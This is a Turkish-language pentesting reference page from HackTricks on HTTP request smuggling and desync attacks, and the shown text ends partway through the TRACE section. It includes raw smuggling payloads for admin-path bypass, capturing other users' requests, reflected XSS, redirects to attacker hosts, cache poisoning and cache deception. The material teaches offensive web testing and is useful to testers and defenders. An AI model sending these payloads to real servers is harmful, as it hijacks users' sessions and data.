hacktricks/pentesting-web/http-request-smuggling/README.md

# HTTP Request Smuggling / HTTP Desync Attack

{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks'i Destekleyin</summary>

* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.

</details>
{% endhint %}

## Nedir

Bu zafiyet, **ön uç proxyleri** ile **arka uç** sunucu arasında bir **senkronizasyon bozukluğu** olduğunda meydana gelir ve bu, bir **saldırganın** HTTP **isteği** göndermesine olanak tanır; bu istek **ön uç** proxyleri tarafından **tek bir istek** olarak ve **arka uç** sunucu tarafından **2 istek** olarak **yorumlanır**.\
Bu, bir kullanıcının **arka uç sunucusuna gelen bir sonraki isteği değiştirmesine** olanak tanır.

### Teori

[**RFC Spesifikasyonu (2161)**](https://tools.ietf.org/html/rfc2616)

> Eğer bir mesaj hem Transfer-Encoding başlık alanı hem de Content-Length başlık alanı ile alınırsa, ikincisi GÖZARDI EDİLMELİDİR.

**Content-Length**

> Content-Length varlık başlığı, alıcıya gönderilen varlık gövdesinin boyutunu, bayt cinsinden belirtir.

**Transfer-Encoding: chunked**

> Transfer-Encoding başlığı, yük gövdesinin kullanıcıya güvenli bir şekilde aktarılması için kullanılan kodlama biçimini belirtir.\
> Chunked, büyük verilerin bir dizi parça halinde gönderildiği anlamına gelir.

### Gerçeklik

**Ön Uç** (bir yük dengeleyici / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını **işler** ve **Arka Uç** sunucu **diğerini işler**, bu da iki sistem arasında bir **senkronizasyon bozukluğu** yaratır.\
Bu, **bir saldırganın ters proxyye bir istek göndermesine** olanak tanır ve bu istek **arka uç** sunucu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin **tehlikesi**, **arka uç** sunucunun **2. isteği enjekte edilmiş** gibi **yorumlaması** ve o istemcinin **gerçek isteğinin** **enjekte edilen isteğin** bir parçası olmasıdır.

### Özellikler

HTTP'de **yeni bir satır karakteri 2 bayttan oluşur:**

* **Content-Length**: Bu başlık, isteğin **gövdesinin** **bayt** sayısını belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterde bitmesi beklenir, **isteğin sonunda yeni bir satıra ihtiyaç yoktur**.
* **Transfer-Encoding:** Bu başlık, **gövde** içinde bir **onaltılık sayı** kullanarak **bir sonraki parçanın** **bayt** sayısını belirtir. **Parça** bir **yeni satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile 2 yeni satırla** bitmelidir: `0`
* **Connection**: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.

## Temel Örnekler

{% hint style="success" %}
Burp Suite ile bunu sömürmeye çalışırken **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini repeater'da devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
{% endhint %}

HTTP istek smuggling saldırıları, **Content-Length** (CL) ve **Transfer-Encoding** (TE) başlıklarının ön uç ve arka uç sunucular tarafından nasıl yorumlandığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucuların bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.

### Zafiyet Türlerinin Temel Örnekleri

![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

#### CL.TE Zafiyeti (Content-Length Ön Uç tarafından, Transfer-Encoding Arka Uç tarafından kullanılır)

* **Ön Uç (CL):** İsteği `Content-Length` başlığına göre işler.
* **Arka Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
* **Saldırı Senaryosu:**
* Saldırgan, `Content-Length` başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.
* Ön uç sunucu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### TE.CL Zafiyeti (Transfer-Encoding Ön Uç tarafından, Content-Length Arka Uç tarafından kullanılır)

* **Ön Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
* **Arka Uç (CL):** İsteği `Content-Length` başlığına göre işler.
* **Saldırı Senaryosu:**
* Saldırgan, parça boyutunun (`7b`) ve gerçek içerik uzunluğunun (`Content-Length: 4`) uyumlu olmadığı bir parça isteği gönderir.
* Ön uç sunucu, `Transfer-Encoding` başlığını dikkate alarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Content-Length` başlığını dikkate alarak isteğin yalnızca ilk kısmını (`7b` bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```

#### TE.TE Zafiyeti (Her ikisi de Transfer-Encoding kullanıyor, obfuscation ile)

* **Sunucular:** Her ikisi de `Transfer-Encoding` destekliyor, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.
* **Saldırı Senaryosu:**
* Saldırgan, obfuscate edilmiş `Transfer-Encoding` başlıkları ile bir istek gönderir.
* Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL zafiyeti sömürülebilir.
* İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **CL.CL Senaryosu (Content-Length her iki tarafça da kullanılır):**

* Her iki sunucu da isteği yalnızca `Content-Length` başlığına dayanarak işler.
* Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu yorumlama konusunda uyumludur.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request
```

#### **CL != 0 Senaryosu:**

* `Content-Length` başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, isteğin gövdesinin içerik taşıdığını gösterir.
* Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu belirlemesini etkiler.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body
```

#### Web sunucusunu kırmak

Bu teknik, **ilk HTTP verilerini okurken bir web sunucusunu kırma** olanağının bulunduğu senaryolarda da faydalıdır, ancak **bağlantıyı kapatmadan**. Bu şekilde, HTTP isteğinin **gövdesi** **bir sonraki HTTP isteği** olarak kabul edilecektir.

Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'ta bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucunun **kırılmasına** neden oluyordu. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacaktır, bu nedenle isteğin **gövdesi** **bir sonraki HTTP isteği** olarak işlenecektir.

#### Hop-by-hop başlıkları ile zorlamak

Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye **Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir ve böylece HTTP istek smuggling'ini kötüye kullanmak mümkün hale getirebilirsiniz**.
```
Connection: Content-Length
```
For **daha fazla bilgi için hop-by-hop başlıkları** ziyaret edin:

{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}

## HTTP İsteği Kaçırma Bulma

HTTP isteği kaçırma açıklarını tanımlamak genellikle zamanlama teknikleri kullanılarak gerçekleştirilebilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesi için ne kadar süre geçtiğini gözlemlemeye dayanır. Bu teknikler, özellikle CL.TE ve TE.CL açıklarını tespit etmek için faydalıdır. Bu yöntemlerin yanı sıra, bu tür açıkları bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:

### Zamanlama Teknikleri Kullanarak CL.TE Açıklarını Bulma

* **Yöntem:**
* Uygulama açık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
* **Gözlem:**
* Ön uç sunucu, isteği `Content-Length` temelinde işler ve mesajı erken keser.
* Arka uç sunucu, parçalı bir mesaj bekleyerek, asla gelmeyecek olan bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.
* **Göstergeler:**
* Yanıt sürelerinde zaman aşımı veya uzun gecikmeler.
* Arka uç sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgileri ile birlikte.

### Zamanlama Teknikleri Kullanarak TE.CL Açıklarını Bulma

* **Yöntem:**
* Uygulama açık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
*   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
* **Gözlem:**
* Ön uç sunucu, isteği `Transfer-Encoding` temelinde işler ve tüm mesajı iletir.
* Arka uç sunucu, `Content-Length` temelinde bir mesaj bekleyerek, asla gelmeyecek olan ek veriyi bekler ve bu da bir gecikmeye neden olur.

### Açıkları Bulmak için Diğer Yöntemler

* **Farklı Yanıt Analizi:**
* Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterir.
* **Otomatik Araçlar Kullanma:**
* Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.
* **Content-Length Varyans Testleri:**
* Gerçek içerik uzunluğu ile uyumlu olmayan değişken `Content-Length` değerleri ile istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl ele aldığını gözlemleyin.
* **Transfer-Encoding Varyans Testleri:**
* Obfuscate edilmiş veya hatalı `Transfer-Encoding` başlıkları ile istekler gönderin ve ön uç ve arka uç sunucularının bu tür manipülasyonlara nasıl farklı yanıt verdiğini izleyin.

### HTTP İsteği Kaçırma Açığı Testi

Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` isteği göndererek 404 yanıtı almak. Daha önce [Temel Örnekler](./#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeyi hedeflemesine rağmen, 404 yanıtı almak için bir istemci isteğini nasıl zehirleyeceğinizi göstermektedir.

**Anahtar Dikkat Noktaları**

Diğer isteklerle müdahale ederek istek kaçırma açıklarını test ederken, aklınızda bulundurmanız gerekenler:

* **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, açığın varlığını doğrulamaz.
* **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle istekleri URL ve parametrelere göre belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için bir ön koşuldur.
* **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.
* **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucuları, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlerde sonuçlanırsa, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir açığı doğrulamak için birkaç deneme gerektirebilir.
* **İstenmeyen Kullanıcı Etkisi:** Eğer saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteği değil) istemeden etkiliyorsa, bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.

## HTTP İsteği Kaçırma Kötüye Kullanımı

### HTTP İsteği Kaçırma ile Ön Uç Güvenliğini Aşma

Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve kısıtlı uç noktalarına yetkisiz erişim sağlanabilir. Örneğin, `/admin` erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir açık bırakır.

Aşağıdaki örnekler, HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini, özellikle ön uç proxy tarafından genellikle korunan `/admin` yolunu hedef alarak göstermektedir:

**CL.TE Örneği**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```
CL.TE saldırısında, başlangıç isteği için `Content-Length` başlığı kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, başlangıç `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.

**TE.CL Örneği**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```
Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer-Encoding: chunked` kullanır ve sonraki gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy, kaçırılan `GET /admin` isteğini göz ardı eder ve istemeden de olsa kısıtlı `/admin` yoluna erişim sağlar.

### Ön uç istek yeniden yazımını açığa çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü **korumaları aşmanın** veya **gizli bilgileri veya uç noktaları açığa çıkarmanın** yollarını ortaya çıkarabilir.

Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdaki gibi bir istek oluşturun:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```
Bu yapıda, sonraki istek bileşenleri `search=` ifadesinden sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarını açığa çıkaracaktır.

İç içe isteğin `Content-Length` başlığının gerçek içerik uzunluğu ile hizalanması önemlidir. Küçük bir değerle başlayıp yavaşça artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi keserken, çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik, bir TE.CL açığı bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.

Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için kullanılır ve temelde kendi kendine yönlendirilmiş bir araştırma yapar.

### Diğer kullanıcıların isteklerini yakalamak <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek bir sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:

Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Bu senaryoda, **comment parametresi**, kamuya açık bir sayfadaki bir gönderinin yorum bölümündeki içerikleri saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.

Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca kaçak istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&` ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.

Ayrıca, bu yaklaşımın TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile sona ermelidir. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.

### HTTP istek kaçakçılığını yansıyan XSS'i istismar etmek için kullanma

HTTP Request Smuggling, **Yansıyan XSS**'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:

* Hedef kullanıcılarla **etkileşim gerektirmez**.
* HTTP istek başlıkları gibi **normalde ulaşılamayan** istek bölümlerinde XSS'in istismarına olanak tanır.

Bir web sitesinin User-Agent başlığı aracılığıyla Yansıyan XSS'e karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```
Bu yük, açığı istismar etmek için şu şekilde yapılandırılmıştır:

1. Smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile, görünüşte tipik bir `POST` isteği başlatmak.
2. Chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
3. Ardından, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen bir smuggled `GET` isteği tanıtmak; bu, sunucu bu sonraki isteği işlediğinde XSS'yi tetikler.

`User-Agent`'ı smuggling ile manipüle ederek, yük normal istek kısıtlamalarını aşar ve böylece yansıtılan XSS açığını standart dışı ama etkili bir şekilde istismar eder.

#### HTTP/0.9

{% hint style="danger" %}
Kullanıcı içeriği, **`Content-type`** gibi bir yanıt içinde yansıtıldığında **`text/plain`**, XSS'nin çalışmasını engeller. Eğer sunucu **HTTP/0.9** destekliyorsa, bunu aşmak mümkün olabilir!
{% endhint %}

HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiillerini kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.

[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek bir açık uç noktası** ile istismar edildi; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçersiz bir HTTP/1.1 yanıtı (başlıklar ve gövde ile)** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.

### HTTP İsteği Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

Uygulamalar genellikle yönlendirme URL'sindeki `Host` başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörü sonuna eğik çizgi olmadan istemek, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Sonuçlar:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Görünüşte zararsız olan bu davranış, kullanıcıları harici bir siteye yönlendirmek için HTTP request smuggling kullanılarak manipüle edilebilir. Örneğin:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Bu kaçak istek, sonraki işlenen kullanıcı isteğinin bir saldırgan kontrolündeki web sitesine yönlendirilmesine neden olabilir:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Sonuçlar:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Bu senaryoda, bir kullanıcının JavaScript dosyası için isteği ele geçirilir. Saldırgan, kötü niyetli JavaScript sunarak kullanıcıyı tehlikeye atabilir.

### HTTP Request Smuggling ile Web Cache Poisoning Sömürüsü <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

Web cache poisoning, **ön uç altyapısının içerik önbelleğe alması** durumunda gerçekleştirilebilir; bu genellikle performansı artırmak için yapılır. Sunucunun yanıtını manipüle ederek, **önbelleği zehirlemek** mümkündür.

Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](./#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.

Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** olduğunda özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.

Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için `/static/include.js`'nin önbellek içeriğini değiştirmektir:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```
Not edin ki, `/post/next?postId=3` hedefleyen gömülü istek var. Bu istek, **Host başlık değeri** kullanılarak `/post?postId=4` adresine yönlendirilecektir. **Host başlığını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).

Başarılı bir **socket poisoning** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.

Sonrasında, `/static/include.js` için yapılan her istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısını başlatacaktır.

### HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesi** durumunda, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.
> * **Web önbellek aldatması** durumunda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbellekte saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.

Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), mağdurun `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.

### HTTP Request Smuggling ile TRACE İstismar Etme <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) eğer sunucuda TRACE yöntemi etkinse, bunun HTTP Request Smuggling ile istismar edilebileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Gönderecek bir yanıt şöyle olacak:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği sızdırmak**, bu istek **gönderilen verileri yansıtacaktır**.\
